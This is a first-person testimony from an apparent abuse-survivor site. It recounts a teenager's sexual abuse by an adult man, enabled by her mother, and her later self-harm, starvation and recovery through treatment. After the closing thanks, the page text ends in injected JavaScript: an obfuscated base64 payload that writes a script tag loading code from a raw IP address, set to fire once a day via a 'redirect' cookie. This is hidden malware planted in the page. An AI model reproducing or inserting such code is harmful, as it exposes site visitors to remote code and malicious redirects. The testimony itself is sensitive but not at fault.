“Gentle Abuse”: The Ultimate Mind Twist

I have spent my adult life trying to untwist what I experienced as a teenager. Called by professionals, it was sexual abuse. What is so sad for me, is not only how I was robbed of my innocence, emotional, psychological and sexual development, but how no one questioned it, and how I continue to be challenged with trying to understand and overcome the wreckage of a pervert using me for his own benefit.

It started in the summer of ’79. I had just finished my Freshman year in High School and had recently gotten my braces off. At 14 years old, I was just coming out of the awkward teen years. I had never had a boyfriend, and had only kissed a boy up until then. I didn’t know what sex was, and as a typical adolescent, I was not emotionally developed enough to discern those “adult” situations and circumstances, and to know what was best for me. I was a child. It was not quite 2 years that my Dad had left with no word, and it wouldn’t be until 6 more years that I would hear from my father, and finally see him after all of those years with no contact. Add that to the typical neediness of a teenage girl.

“He” was pretty much a stranger to me. I only knew him as the older life guard; the hairy “man”. In hindsight, he must have sensed my weakness and vulnerability. He told me that I was “special”. That’s all he needed to say for me to open the door, literally and figuratively. I was desperate for a male figure in my life and frighteningly trusting. I thought, “I must be someone/something special to be the object of his attention!” I don’t think it was 12 hours later that he came over and had sex with me. I remember asking him, “is this sex”? I was enamored and taken, and boy, did I feel special. He was 25 years old and in Graduate School. I had just turned 15 and was going into my Sophomore year in High School.

After the summer, and numerous nights sneaking in the house, he said he wanted to stay in touch with me. I told my mother that I didn’t want to see him anymore, but in her own insanity, thinking that he would “take care of me”, she suggested that I think twice. I heeded to her suggestion; what did I know? He soon told me that he loved me, and he was my “boyfriend”. I “loved” him too. My Mom let him buy me plane tickets to visit him, as he went to Grad School in the South. She took me to the airport and let me spend my High School vacations and summers with him. She let him sleep in my bedroom with me when he came to visit. My sister was a year older than me, my brother 2 years older than me. They were down the hall. My Mother and her psychologist boyfriend were downstairs. Imagine that. Perhaps one might think that was inappropriate; you think? I think it’s fair to say that he “trained” me quite well to meet his immature and perverted sexual needs. I never questioned anything nor did I hesitate. I followed his lead and eagerly pleased him. I felt so powerful.

It was early on that he introduced me to pornography and took me to sex stores. He encouraged me to use the pornography, encouraged me to use my experience on other boys and men….and to tell him about it. What a miracle that I never got pregnant. I was malleable, compliant, submissive and again, eager to please. I was a child. Perfect for him. He knew what he was doing. Plain and simple, growing up like that was no less than a sex fest. Because our “relationship” was all about sex, it is no surprise that I became pre-occupied and/or obsessed with sex, addicted to pornography as well as obsessed with sexual fantasies. It became very clear to me where I belonged in life: sexually taking care of men. That’s how I got my value, and that’s what I was good for. It was inculcated quite early that I was a performer in that sense. My goal was that whomever I was with, would never, ever forget me. That kind of power is truly intoxicating. It was during these years that I also learned how I was to be treated by men: as their sex object, and nothing more. I am still surprised that I did not become a prostitute or a go-go dancer.

For shame that my mother was taken by him as well. Since she was enamored by him and “approved” of him, as my parent, she was giving me the green light. No doubt, I was in heaven getting that kind of attention from such an older man! Today I know, that that is not the kind of attention that any young teenager needs. It is beyond destructive. Period. And, it is called sexual abuse. Today, he would go to jail and so would my mother, for not protecting me. I still rhetorically ask all of the time, and wonder why no one questioned our “relationship”. Not a neighbor, not a relative, not a friend, not a teacher nor my mother’s psychologist boyfriend who lived with us. Not even the gynecologist who my mother took me to at 15 years old, or my family doctor who knew about him. Everyone knew about him and no one said a thing. Why would I have ever thought that something was wrong if everyone knew, and the “relationship” was condoned?

I would like to tell you of one of the times that in my fantasy thinking, I tried to “escape” and get help. I had a crush on a boy my age, imagine that. He ended up in the hospital with appendicitis. I thought that if I could just somehow get into the hospital to see him, he could “save me”. So I cut myself, on my leg, with a knife that “he” gave me. It was about a 3” cut. I went over and over and over it to be sure that it was deep enough for stitches. It was quite gaping and finally bad enough for stitches. To my ultimate disappointment, I hadn’t planned things out well enough. I never imagined that my Mother would take me to a different hospital. Magical thinking that just didn’t do the trick.

So here I am, 44 years old, with so much confusion, turmoil and anger about what happened. Confusion, turmoil, anger and overwhelm with the wreckage that ensues, unveiling itself with repeated unhealthy and distorted thoughts and behavioral patterns, as I continue to allow myself to be in unhealthy situations and continue to re-enact what he taught me.

I have spent years of my life “in love” with him. I have spent years of my life being corrupted by him, years of my life obsessed with him, years of my life learning and experiencing what no child should learn, see or experience, years of my life making up distorted stories which made it all ok, years of my life minimizing and rationalizing, years of my life continuing the emotional and behavioral cycle that he created. It’s all I know, because that is what I learned so well during the psycho-social-sexual developmental and formative adolescent years of my life. That is how I grew up.

I am still trying to untwist that I was not protected by my mother, that he was NEVER, EVER my “boyfriend”, and that the “love” I learned about and experienced from him, was not love at all. It is called sexual abuse. It’s such a mind twist because I will be the first to admit that I loved the attention. I will be the first to admit that I was in heaven, prideful, as he chose me! I will be the first to admit that there was much that I enjoyed. As a teenager, I felt beyond special that he had catapulted me into an adult world, and I felt so, so powerful.

When I was 32, my life was absolutely unmanageable. I was in disbelief and denial when therapists told me that I was sexually abused. I didn’t believe it. That was the beginning of the untwisting and the breaking of denial. I was obsessed with violent sex fantasies and addicted to the memories of the porn. I hated myself for it. The shame and self-hatred were bigger than life. The first miracle for me was that I suddenly realized that I HAD NOT CHOSEN THE PORN! HE DID THIS TO ME! I WOULD HAVE NEVER CHOSEN THIS! It was literally at the moment of that realization, that I succumbed to surrender. I had gradually reduced my food intake to just about nothing. It wasn’t conscious, I just didn’t eat. After that realization, I could no longer work, no longer eat, barely get out of bed, and I could not stop crying. Two days later, I was on a plane to Sierra Tucson. (I will be forever grateful for my sister’s emotional and financial support.) It took me almost 10 days to eat all of the food they put on my plate and 24 days just to admit that I was sexually abused. After Sierra Tucson, I went straight to Masters and Johnson in Minnesota, to deal with sexual abuse, the pornography and the sexual fantasies. I always said to myself, that if I could ever get that stuff out of my head, it would be the miracle of my lifetime. With my eyes welling up, I will tell you that I got my second miracle.

I feel that I have spent the lion’s share of my adult life in mental, emotional and spiritual turmoil, seeking for answers, acceptance, understanding and peace. Even now, I find myself challenging everything, saying, “it wasn’t so bad”, “I had a roof over my head and food, so I had it pretty good”, “I wasn’t 5”, “there wasn’t a gun to my head”, “he didn’t beat me”, “he loved me”, “I’m making this out to be something that it really wasn’t”, “I have bastardized something great”, “other people have it so much worse”. I have a constant sense that something is wrong with me, that I don’t fit in and don’t know where I belong in this world. It is no surprise that I have issues with self esteem, intimacy (both emotional and physical), body image, trust, communicating and having a voice. Those are all classic long term effects of sexual abuse. Hope? There has to be. The thoughts of hopefulness are between those moments of the hopelessness and hard work to triumph over this. Today I have a choice. However, to choose against automatic and inculcated thoughts and behavior, to retrain my mind and body, to relearn a different healthy and peaceful way is no easy task. In some way, I am addicted to the insanity of it all. But, I have not lost faith, and I “keep coming back”. I really look forward to the day that I not only think, but really believe, with all my heart and all my soul and all of my might, that I deserve so much more than what I learned. I also hope that someday, he really knows how much he hurt me. For that matter, I hope that some day, my Mother understands how her inappropriate parenting and insane judgment has affected me beyond words and comprehension. I used to feel that the only way that I would know that she understood how badly I was hurt, and still hurt, was that if she killed herself. How could she have taken me to the airport so many times? How could she have not thought that it was not ok?

I will tell you, that there is one thing I can’t stand, and that is when people look at me and say shockingly, “I can’t believe you never got married!?” Maybe the next time, I will tell them why. As tears are rolling down my cheeks, my hope is that some day I will be able to forgive all parties involved (including myself), to know and experience healthy boundaries, healthy touch, healthy sexuality and have a healthy relationship. My hope is that from sharing my story, I can and will help others who are struggling with this kind of history. May we all be able to “let go, and let peace come in”……before we leave this earth.

Thanks, Pete, for bringing this site to life. As kindred abuse survivors, God Bless you and those who are reading this. May you all find and enjoy the promises and hope of recovery. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘